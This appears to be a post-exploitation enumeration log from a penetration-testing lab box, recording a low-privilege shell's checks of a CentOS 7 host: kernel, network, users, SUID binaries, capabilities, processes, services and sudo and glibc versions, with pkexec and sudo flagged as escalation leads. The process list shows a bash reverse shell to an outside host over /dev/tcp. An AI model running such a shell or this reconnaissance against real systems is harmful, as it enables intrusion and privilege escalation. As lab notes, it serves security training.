System/Kernel


uname -a ; cat /etc/*release
Linux splodge 3.10.0-1127.19.1.el7.x86_64 #1 SMP Tue Aug 25 17:23:54 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
CentOS Linux release 7.8.2003 (Core)
NAME="CentOS Linux"
VERSION="7 (Core)"
ID="centos"
ID_LIKE="rhel fedora"
VERSION_ID="7"
PRETTY_NAME="CentOS Linux 7 (Core)"
ANSI_COLOR="0;31"
CPE_NAME="cpe:/o:centos:centos:7"
HOME_URL="https://www.centos.org/"
BUG_REPORT_URL="https://bugs.centos.org/"
 
CENTOS_MANTISBT_PROJECT="CentOS-7"
CENTOS_MANTISBT_PROJECT_VERSION="7"
REDHAT_SUPPORT_PRODUCT="centos"
REDHAT_SUPPORT_PRODUCT_VERSION="7"
 
CentOS Linux release 7.8.2003 (Core)
CentOS Linux release 7.8.2003 (Core)
  • 3.10.0-1127.19.1.el7.x86_64
  • x86_64
  • CentOS Linux 7 (Core)

Networks


bash-4.2$ /sbin/route
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
default         gateway         0.0.0.0         UG    0      0        0 ens160
link-local      0.0.0.0         255.255.0.0     U     1003   0        0 ens160
192.168.219.0   0.0.0.0         255.255.255.0   U     0      0        0 ens160
 
bash-4.2$ /sbin/arp -a
/sbin/arp -a
gateway (192.168.219.254) at 00:50:56:9e:59:95 [ether] on ens160
bash-4.2$ netstat -antup4
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      1080/nginx: worker  
tcp        0      0 0.0.0.0:8080            0.0.0.0:*               LISTEN      1080/nginx: worker  
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:5432            0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:1337            0.0.0.0:*               LISTEN      1080/nginx: worker  
tcp        0      0 127.0.0.1:60110         127.0.0.1:5432          ESTABLISHED -                   
tcp        0      0 127.0.0.1:5432          127.0.0.1:60110         ESTABLISHED -                   
tcp        0    141 192.168.219.108:54448   192.168.45.221:1337     ESTABLISHED 13545/bash          
udp        0      0 127.0.0.1:323           0.0.0.0:*                           -                   
udp        0      0 127.0.0.1:58704         127.0.0.1:58704         ESTABLISHED -                   
udp        0      0 192.168.219.108:38425   88.80.189.24:123        ESTABLISHED -                   
udp        0      0 192.168.219.108:44840   178.79.140.210:123      ESTABLISHED -                   
udp        0      0 192.168.219.108:52138   217.114.59.3:123        ESTABLISHED -                   
udp        0      0 192.168.219.108:38082   193.57.144.50:123       ESTABLISHED -                   

tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN -

Users & Groups


bash-4.2$ cat /etc/passwd ; ll /home
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
chrony:x:998:996::/var/lib/chrony:/sbin/nologin
thesplodge:x:1000:1000::/home/thesplodge:/bin/bash
postgres:x:26:26:PostgreSQL Server:/var/lib/pgsql:/bin/bash
nginx:x:997:995:Nginx web server:/var/lib/nginx:/sbin/nologin
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
total 0
0 dr-xr-xr-x. 17 root       root       244 Oct 18  2020 ..
0 drwxr-xr-x.  3 thesplodge thesplodge 115 Oct 17  2020 thesplodge
0 drwxr-xr-x.  3 root       root        24 Oct 17  2020 .

thesplodge

bash-4.2$ cut -d: -f1 /etc/passwd | xargs -n1 id
uid=0(root) gid=0(root) groups=0(root)
uid=1(bin) gid=1(bin) groups=1(bin)
uid=2(daemon) gid=2(daemon) groups=2(daemon)
uid=3(adm) gid=4(adm) groups=4(adm)
uid=4(lp) gid=7(lp) groups=7(lp)
uid=5(sync) gid=0(root) groups=0(root)
uid=6(shutdown) gid=0(root) groups=0(root)
uid=7(halt) gid=0(root) groups=0(root)
uid=8(mail) gid=12(mail) groups=12(mail)
uid=11(operator) gid=0(root) groups=0(root)
uid=12(games) gid=100(users) groups=100(users)
uid=14(ftp) gid=50(ftp) groups=50(ftp)
uid=99(nobody) gid=99(nobody) groups=99(nobody)
uid=192(systemd-network) gid=192(systemd-network) groups=192(systemd-network)
uid=81(dbus) gid=81(dbus) groups=81(dbus)
uid=999(polkitd) gid=998(polkitd) groups=998(polkitd)
uid=74(sshd) gid=74(sshd) groups=74(sshd)
uid=89(postfix) gid=89(postfix) groups=89(postfix),12(mail)
uid=998(chrony) gid=996(chrony) groups=996(chrony)
uid=1000(thesplodge) gid=1000(thesplodge) groups=1000(thesplodge)
uid=26(postgres) gid=26(postgres) groups=26(postgres)
uid=997(nginx) gid=995(nginx) groups=995(nginx)
uid=48(apache) gid=48(apache) groups=48(apache)

uid=1000(thesplodge) gid=1000(thesplodge) groups=1000(thesplodge)

SUIDs


bash-4.2$ find / -perm -04000 -ls -type f 2>/dev/null
25381873   76 -rwsr-xr-x   1 root     root        73888 Aug  8  2019 /usr/bin/chage
25381874   80 -rwsr-xr-x   1 root     root        78408 Aug  8  2019 /usr/bin/gpasswd
25652415   24 -rws--x--x   1 root     root        23968 Apr  1  2020 /usr/bin/chfn
25652418   24 -rws--x--x   1 root     root        23880 Apr  1  2020 /usr/bin/chsh
25381877   44 -rwsr-xr-x   1 root     root        41936 Aug  8  2019 /usr/bin/newgrp
25652498   32 -rwsr-xr-x   1 root     root        32128 Apr  1  2020 /usr/bin/su
25703692  144 ---s--x--x   1 root     root       147336 Apr  1  2020 /usr/bin/sudo
25652483   44 -rwsr-xr-x   1 root     root        44264 Apr  1  2020 /usr/bin/mount
25672720   32 -rwsr-xr-x   1 root     root        31984 Apr  1  2020 /usr/bin/umount
25742885   60 -rwsr-xr-x   1 root     root        57656 Aug  8  2019 /usr/bin/crontab
25742643   24 -rwsr-xr-x   1 root     root        23576 Apr  1  2020 /usr/bin/pkexec
25385618   28 -rwsr-xr-x   1 root     root        27856 Mar 31  2020 /usr/bin/passwd
25176607   32 -rwsr-xr-x   1 root     root        32096 Oct 30  2018 /usr/bin/fusermount
  2683   36 -rwsr-xr-x   1 root     root        36272 Apr  1  2020 /usr/sbin/unix_chkpwd
  2681   12 -rwsr-xr-x   1 root     root        11232 Apr  1  2020 /usr/sbin/pam_timestamp_check
424979   12 -rwsr-xr-x   1 root     root        11296 Mar 31  2020 /usr/sbin/usernetctl
8709195   16 -rwsr-xr-x   1 root     root        15432 Apr  1  2020 /usr/lib/polkit-1/polkit-agent-helper-1
8708920   60 -rwsr-x---   1 root     dbus        57936 Jul 13  2020 /usr/libexec/dbus-1/dbus-daemon-launch-helper
  • 25742643 24 -rwsr-xr-x 1 root root 23576 Apr 1 2020 /usr/bin/pkexec
  • 8709195 16 -rwsr-xr-x 1 root root 15432 Apr 1 2020 /usr/lib/polkit-1/polkit-agent-helper-1

SGIDs


bash-4.2$ find / -type f -perm -02000 -ls 2>/dev/null
25186342   16 -r-xr-sr-x   1 root     tty         15344 Jun  9  2014 /usr/bin/wall
25672726   20 -rwxr-sr-x   1 root     tty         19544 Apr  1  2020 /usr/bin/write
25824105  376 ---x--s--x   1 root     nobody     382216 Aug  8  2019 /usr/bin/ssh-agent
424974   12 -rwxr-sr-x   1 root     root        11224 Mar 31  2020 /usr/sbin/netreport
434162  216 -rwxr-sr-x   1 root     postdrop   218560 Apr  1  2020 /usr/sbin/postdrop
434169  260 -rwxr-sr-x   1 root     postdrop   264128 Apr  1  2020 /usr/sbin/postqueue
17080665   12 -rwx--s--x   1 root     utmp        11192 Jun  9  2014 /usr/libexec/utempter/utempter
8717664  456 ---x--s--x   1 root     ssh_keys   465760 Aug  8  2019 /usr/libexec/openssh/ssh-keysign

Capabilities


bash-4.2$ /usr/sbin/getcap -r / 2>/dev/null
/usr/bin/newgidmap = cap_setgid+ep
/usr/bin/newuidmap = cap_setuid+ep
/usr/bin/ping = cap_net_admin,cap_net_raw+p
/usr/sbin/arping = cap_net_raw+p
/usr/sbin/clockdiff = cap_net_raw+p
/usr/sbin/suexec = cap_setgid,cap_setuid+ep

Processes


bash-4.2$ ps -auxwww
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.2 125364  3876 ?        Ss   07:42   0:00 /usr/lib/systemd/systemd --switched-root --system --deserialize 22
root       563  0.0  0.1  39084  2072 ?        Ss   07:42   0:00 /usr/lib/systemd/systemd-journald
root       582  0.0  0.0 124840  1308 ?        Ss   07:42   0:00 /usr/sbin/lvmetad -f
root       587  0.0  0.1  45028  1940 ?        Ss   07:42   0:00 /usr/lib/systemd/systemd-udevd
root       691  0.0  0.0  55532   848 ?        S<sl 07:42   0:00 /sbin/auditd
polkitd    714  0.0  0.5 612248 10084 ?        Ssl  07:42   0:00 /usr/lib/polkit-1/polkitd --no-debug
root       715  0.0  0.3  99688  6196 ?        Ss   07:42   0:00 /usr/bin/VGAuthService -s
root       716  0.0  0.3 314456  7300 ?        Ssl  07:42   0:08 /usr/bin/vmtoolsd
root       722  0.0  0.0  26384  1764 ?        Ss   07:42   0:00 /usr/lib/systemd/systemd-logind
dbus       723  0.0  0.1  58244  2468 ?        Ss   07:42   0:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation
chrony     732  0.0  0.0 117808  1732 ?        S    07:42   0:03 /usr/sbin/chronyd
root       744  0.0  0.0 126388  1580 ?        Ss   07:42   0:00 /usr/sbin/crond -n
root       753  0.0  0.0 110208   856 tty1     Ss+  07:42   0:00 /sbin/agetty --noclear tty1 linux
root       765  0.0  0.4 550204  8892 ?        Ssl  07:42   0:00 /usr/sbin/NetworkManager --no-daemon
root       996  0.0  0.5 276180  9548 ?        Ss   07:43   0:00 php-fpm: master process (/etc/php-fpm.conf)
root       997  0.0  0.1 226744  3340 ?        Ssl  07:43   0:00 /usr/sbin/rsyslogd -n
root       998  0.0  0.9 574304 17460 ?        Ssl  07:43   0:01 /usr/bin/python2 -Es /usr/sbin/tuned -l -P
root       999  0.0  0.2 112924  4344 ?        Ss   07:43   0:00 /usr/sbin/sshd -D
thesplo+  1016  0.0  0.9 397396 17472 ?        Ss   07:43   0:00 /usr/pgsql-12/bin/postmaster -D /home/thesplodge/.pgdata
thesplo+  1056  0.0  0.1 249656  2092 ?        Ss   07:43   0:00 postgres: logger   
thesplo+  1063  0.0  0.2 397512  3804 ?        Ss   07:43   0:00 postgres: checkpointer   
thesplo+  1064  0.0  0.1 397528  3356 ?        Ss   07:43   0:00 postgres: background writer   
thesplo+  1065  0.0  0.3 397396  6248 ?        Ss   07:43   0:00 postgres: walwriter   
thesplo+  1066  0.0  0.1 398080  3304 ?        Ss   07:43   0:00 postgres: autovacuum launcher   
thesplo+  1067  0.0  0.1 251908  2284 ?        Ss   07:43   0:00 postgres: stats collector   
thesplo+  1068  0.0  0.1 397952  2808 ?        Ss   07:43   0:00 postgres: logical replication launcher   
root      1075  0.0  0.1 121040  2212 ?        Ss   07:43   0:00 nginx: master process /usr/sbin/nginx
nginx     1080  0.1  0.2 121504  4012 ?        S    07:43   0:33 nginx: worker process
root      1234  0.0  0.1  89704  2220 ?        Ss   07:43   0:00 /usr/libexec/postfix/master -w
postfix   1244  0.0  0.2  89876  4076 ?        S    07:43   0:00 qmgr -l -t unix -u
nginx    12894  0.1  1.0 286296 19216 ?        S    10:34   0:16 php-fpm: pool www
nginx    12895  0.1  1.0 286552 19292 ?        S    10:34   0:16 php-fpm: pool www
nginx    12896  0.1  1.0 286852 19772 ?        S    10:34   0:16 php-fpm: pool www
nginx    12897  0.1  1.0 286296 19260 ?        S    10:34   0:16 php-fpm: pool www
nginx    12898  0.1  1.0 286552 19312 ?        S    10:34   0:17 php-fpm: pool www
nginx    12899  0.1  1.0 286296 19192 ?        S    10:34   0:17 php-fpm: pool www
nginx    12900  0.1  1.0 286552 19816 ?        S    10:34   0:16 php-fpm: pool www
nginx    12901  0.1  0.9 285472 18380 ?        S    10:34   0:16 php-fpm: pool www
nginx    12902  0.1  0.9 285468 18372 ?        S    10:34   0:16 php-fpm: pool www
nginx    12903  0.1  1.0 287320 19852 ?        S    10:34   0:17 php-fpm: pool www
nginx    12904  0.1  1.0 286032 18892 ?        S    10:34   0:16 php-fpm: pool www
nginx    12905  0.1  1.0 286552 19516 ?        S    10:34   0:16 php-fpm: pool www
nginx    12906  0.1  1.0 286296 19188 ?        S    10:34   0:16 php-fpm: pool www
nginx    12907  0.1  1.0 286296 19204 ?        S    10:34   0:16 php-fpm: pool www
nginx    12908  0.1  1.0 286552 19812 ?        S    10:34   0:16 php-fpm: pool www
nginx    12918  0.1  1.0 286296 19196 ?        S    10:38   0:12 php-fpm: pool www
nginx    12920  0.1  1.0 286552 19284 ?        S    10:38   0:12 php-fpm: pool www
nginx    12922  0.1  1.0 286296 19200 ?        S    10:39   0:11 php-fpm: pool www
nginx    12924  0.1  1.0 286296 19612 ?        S    10:39   0:11 php-fpm: pool www
nginx    12927  0.1  1.0 286552 19292 ?        S    10:40   0:10 php-fpm: pool www
nginx    12929  0.1  1.0 286552 19812 ?        S    10:40   0:09 php-fpm: pool www
nginx    12932  0.1  1.0 286288 19040 ?        S    10:41   0:09 php-fpm: pool www
nginx    12933  0.1  1.0 286296 19204 ?        S    10:41   0:09 php-fpm: pool www
nginx    12934  0.1  1.0 286296 19576 ?        S    10:41   0:09 php-fpm: pool www
nginx    12935  0.1  0.9 285472 18364 ?        S    10:41   0:09 php-fpm: pool www
nginx    12936  0.1  1.0 286552 19296 ?        S    10:41   0:08 php-fpm: pool www
nginx    12937  0.1  0.9 285472 18448 ?        S    10:41   0:09 php-fpm: pool www
nginx    12938  0.1  1.0 286296 19192 ?        S    10:41   0:09 php-fpm: pool www
nginx    12939  0.1  1.0 286552 19292 ?        S    10:41   0:09 php-fpm: pool www
nginx    12940  0.1  0.9 285472 18452 ?        S    10:41   0:09 php-fpm: pool www
nginx    12941  0.1  1.0 286552 19292 ?        S    10:41   0:09 php-fpm: pool www
nginx    12964  0.0  1.0 286296 19192 ?        S    10:46   0:02 php-fpm: pool www
nginx    12965  0.0  1.0 287112 20008 ?        S    10:46   0:02 php-fpm: pool www
nginx    13204  0.0  1.0 286296 19196 ?        S    11:06   0:01 php-fpm: pool www
nginx    13207  0.0  1.0 287632 20408 ?        S    11:07   0:00 php-fpm: pool www
postfix  13528  0.0  0.2  89808  4052 ?        S    12:45   0:00 pickup -l -t unix -u
thesplo+ 13543  0.0  0.3 398476  6408 ?        Ss   12:49   0:00 postgres: postgres splodge 127.0.0.1(60110) idle
nginx    13544  0.0  0.0  11688  1140 ?        S    12:49   0:00 sh -c /bin/bash -i >& /dev/tcp/192.168.45.221/1337 0>&1
nginx    13545  0.0  0.0  11824  1824 ?        S    12:49   0:00 /bin/bash -i
nginx    13711  0.0  0.0  51756  1728 ?        R    12:59   0:00 ps -auxwww
  • polkitd 714 0.0 0.5 612248 10084 ? Ssl 07:42 0:00 /usr/lib/polkit-1/polkitd --no-debug
  • root 744 0.0 0.0 126388 1580 ? Ss 07:42 0:00 /usr/sbin/crond -n
  • thesplo+ 1016 0.0 0.9 397396 17472 ? Ss 07:43 0:00 /usr/pgsql-12/bin/postmaster -D /home/thesplodge/.pgdata
  • root 1234 0.0 0.1 89704 2220 ? Ss 07:43 0:00 /usr/libexec/postfix/master -w
  • postfix 1244 0.0 0.2 89876 4076 ? S 07:43 0:00 qmgr -l -t unix -u

Cron & Systemd


bash-4.2$ crontab -l ; cat /etc/crontab ; systemctl list-timers
no crontab for nginx
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
 
# For details see man 4 crontabs
 
# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name  command to be executed
 
NEXT                         LEFT     LAST                         PASSED      UNIT                         ACTIVATES
Tue 2025-03-04 07:57:42 EST  18h left Mon 2025-03-03 07:57:42 EST  5h 3min ago systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service
 
1 timers listed.
Pass --all to see loaded but inactive timers, too.

Services


bash-4.2$ systemctl list-units --state=running
systemctl list-units --state=running
UNIT                              LOAD   ACTIVE SUB     DESCRIPTION
proc-sys-fs-binfmt_misc.automount loaded active running Arbitrary Executable File Formats File System Automount Point
auditd.service                    loaded active running Security Auditing Service
chronyd.service                   loaded active running NTP client/server
crond.service                     loaded active running Command Scheduler
dbus.service                      loaded active running D-Bus System Message Bus
getty@tty1.service                loaded active running Getty on tty1
lvm2-lvmetad.service              loaded active running LVM2 metadata daemon
NetworkManager.service            loaded active running Network Manager
nginx.service                     loaded active running The nginx HTTP and reverse proxy server
php-fpm.service                   loaded active running The PHP FastCGI Process Manager
polkit.service                    loaded active running Authorization Manager
postfix.service                   loaded active running Postfix Mail Transport Agent
postgresql-12.service             loaded active running PostgreSQL 12 database server
rsyslog.service                   loaded active running System Logging Service
sshd.service                      loaded active running OpenSSH server daemon
systemd-journald.service          loaded active running Journal Service
systemd-logind.service            loaded active running Login Service
systemd-udevd.service             loaded active running udev Kernel Device Manager
tuned.service                     loaded active running Dynamic System Tuning Daemon
vgauthd.service                   loaded active running VGAuth Service for open-vm-tools
vmtoolsd.service                  loaded active running Service for virtual machines hosted on VMware
dbus.socket                       loaded active running D-Bus System Message Bus Socket
lvm2-lvmetad.socket               loaded active running LVM2 metadata daemon socket
systemd-journald.socket           loaded active running Journal Socket
systemd-udevd-control.socket      loaded active running udev Control Socket
systemd-udevd-kernel.socket       loaded active running udev Kernel Socket
 
LOAD   = Reflects whether the unit definition was properly loaded.
ACTIVE = The high-level unit activation state, i.e. generalization of SUB.
SUB    = The low-level unit activation state, values depend on unit type.
 
26 loaded units listed. Pass --all to see loaded but inactive units, too.
To show all installed unit files use 'systemctl list-unit-files'.

nginx.service loaded active running The nginx HTTP and reverse proxy server php-fpm.service loaded active running The PHP FastCGI Process Manager polkit.service loaded active running Authorization Manager postfix.service loaded active running Postfix Mail Transport Agent postgresql-12.service loaded active running PostgreSQL 12 database server

Sudo Version


bash-4.2$ sudo --version
Sudo version 1.8.23
Sudoers policy plugin version 1.8.23
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.23

Sudo version 1.8.23

Glibc Version


bash-4.2$ ldd --version
ldd (GNU libc) 2.17
Copyright (C) 2012 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.

ldd (GNU libc) 2.17